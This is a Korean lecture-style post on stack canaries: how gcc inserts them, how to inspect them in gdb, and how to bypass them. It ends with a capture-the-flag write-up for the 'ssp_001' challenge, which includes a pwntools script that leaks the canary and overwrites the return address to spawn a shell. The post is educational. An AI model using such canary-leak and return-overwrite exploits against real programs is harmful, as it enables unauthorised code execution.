앞선 강의에선 스택 버퍼 오버플로우의 취약점을 찾아 익스플로잇 하는 방법으로
return address를 공격하는 기법을 배웠죠?
이를 보호하는 Stack Canary에 대해 배워봅시다!
스택 버퍼 오버플로우로부터 반환 주소를 보호하는 보호기법
-> rao를 하려면 반드시 카나리를 먼저 덮어야 하므로,
카나리 값을 모르는 공격자는 카나리 값을 변조하게 됨!
-> 변조 확인
👇 스택 버퍼 오버플로우가 발생하는 예제 코드
#include <unistd.h> int main() { char buf[8]; read(0, buf, 32); return 0; }
카나리를 활성화하여 컴파일한 바이너리와
비활성화하여 컴파일한 바이너리를 비교하여 원리를 살펴봅시다!
gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일 한다!
컴파일 옵션으로 -fno-stack-protector
을 추가하면 카나리를 비활성화하고 컴파일 할 수 있다.
gcc -o no_canary canary.c -fno-stack-protector
👉 해당 예제를 컴파일한 후 길이가 긴 입력을 주면,
반환 주소가 덮여서 Segmentation fault
가 발생한다.
카나리 비활성화 옵션 없이 컴파일한 후, 긴 입력을 주면
Segmentation fault
가 아닌
stack smashing detected
와 Aborted
라는 에러가 발생한다.
이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제종료되었음을 의미한다.
✔ Diff: canary.asm → no_canary.asm
이 코드들이 어떻게 반환 주소를 보호하는지 분석
프롤로그의 코드에 중단점을 설정하고 실행!
b *main+8
, r
<main+8> : mov rax, qword ptr fs:[0x28]
fs
의 데이터를 읽어서 rax
에 저장fs
란?fs
에 랜덤 값을 저장한다.코드를 한 줄 실행하면 rax
에는 첫 바이트가 널 바이트인 8바이트 데이터가 저장되어 있는 것을 확인할 수 있다!
생성한 랜던 값은 <main +17> 에서 rbp-0x8
에 저장된다.
rbp-0x8
에 저장한 카나리를 rcx
로 옮긴다.rcx
xor fs
(앞에서 저장한 카나리)0
이 되면서 je
의 조건을 만족하게 되고, main
함수는 정상적으로 반환된다! __stack_chk_fail
이 호출되며 프로세스가 강제로 종료된다.이제 에필로그의 코드에 중단점을 설정하고 실행!
b *main+50
, c
rbp-0x8
에 저장된 카나리 값이 "0x484848..."이 된 것 확인 가능je
가 적용되지 않아 main + 65
의 __stack_chk_fail
이 호출되며 프로세스가 종료된다!카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장된다.
fs
는 TLS를 가리키므로 fs
의 값을 알면 TLS의 주소를 알 수 있다.
-> 리눅스에서는 p $fs
와 같은 gdb 명령어로는 조회 불가. system call을 사용해야만 조회 가능!
fs
주소 확인 방법fs
의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr)
시스템 콜에 중단점을 설정하여 확인arch_prctl(ARCH_SET_FS, addr)
의 형태로 호출하면 fs
의 값은 addr
로 설정된다.catch syscall arch_prctl # catch point 설정
r
-> 프로세스는 TLS
를 addr
에 저장하고, fs
는 이를 가리킨다.
카나리가 저장될 fs+0x28
의 값을 보면, 어떠한 값도 저장되어있지 않다.
gdb의 watch
명령어로 TLS+0x28
에 watchpoint를 걸어준다.
💡 watch
watchpoint에 저장된 값이 변경되면 프로세스를 중단시키는 명령어다.
프로세스가 멈췄을 때 다시 TLS+0x28
의 값을 조회하면 카나리 값 조회 가능
main
에서 사용하는 카나리 값인지 확인하기 위해 main
에 중단점을 설정하고 관찰mov rax,QWORD PTR fs:0x28
를 실행하고 rax
값 확인x64 아키텍처에서는 8바이트, x86 아키텍처에서는 4바이트의 카나리가 생성된다. 각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7, 3 바이트의 랜덤한 값을 생성하여 비교하면 된다.
해당 방법으로 카나리 값을 알아내려면 최대 (16*16)^7번, (16*16)^3번의 연산이 필요하다.
-> 현실적으로 불가능
TLS의 주소는 매 실행마다 바뀌지만 만약 실행 중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 조작할 수 있다.
스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 우회 성공
스택 카나리를 읽을 수 있는 취약점이 있다면, 이를 이용하여 카나리 검사를 우회할 수 있다. 가장 현실적인 카나리 우회 기법.
printf()는 문자열의 NULL Byte를 만날 때까지 스택에 있는 값을 출력하게 된다. 이 때 스택 카나리는 NULL Byte를 포하맣고 있으므로 버퍼의 크기보다 1 더 크게 입력하면 스택 카나리의 NULL Byte가 덮어 씌워지게 된다. 따라서 스택 카나리의 값을 확인 할 수 있다.
name : fffffffff
memo : 아무 문자 * 32 + aaaaaaaa
-> return address가 aaaaaaaa로 overwrite 됨!
코드를 살펴보고 발견한 취약점 2개
카나리는 ebp - 0x8
에 저장된 것으로 추정!
ebp-0x8부터 4Byte를 읽어 비교하는 거로 유추 가능
스택 구조 파악
예상 구조
확인
idx, name_len, select
box 확인
F를 따라 들어가보면 box는
ebp-0x88
추정
name 확인
E를 따라 들어가보면
name_len은 ebp-0x90
, name은 ebp-0x48
로 추정
스택 구조
코드 구성
1. > P
입력하여 print_box 실행 후 카나리 릭!
box에서 카나리는 0x80
만큼 떨어져있음! 1byte씩 얻어오므로 총 4번 반복하여 얻어오자
canary = b'' #16진수 null # canary 크기 : 4byte for i in range(4): p.sendlineafter("> ", 'P') p.sendlineafter("Element index : ", str(0x80 + i)) # box~canary 거리 : 0x80 p.recvuntil('is : ') canary = p.recv()[:2] + canary # little-endian이니까! canary = int(canary, 16) | cs |
payload = b'A' * 0x40 # name payload += p32(canary) # canary payload += b'A' * 0x8 # dummy, sfp elf = ELF('./ssp_001') get_shell = elf.symbols['get_shell'] payload += p32(get_shell) # ret | cs |
p.sendlineafter("> ", 'E') p.sendlineafter("Name Size : ", str(len(payload))) p.sendlineafter("Name : ", payload) p.interactive() | cs |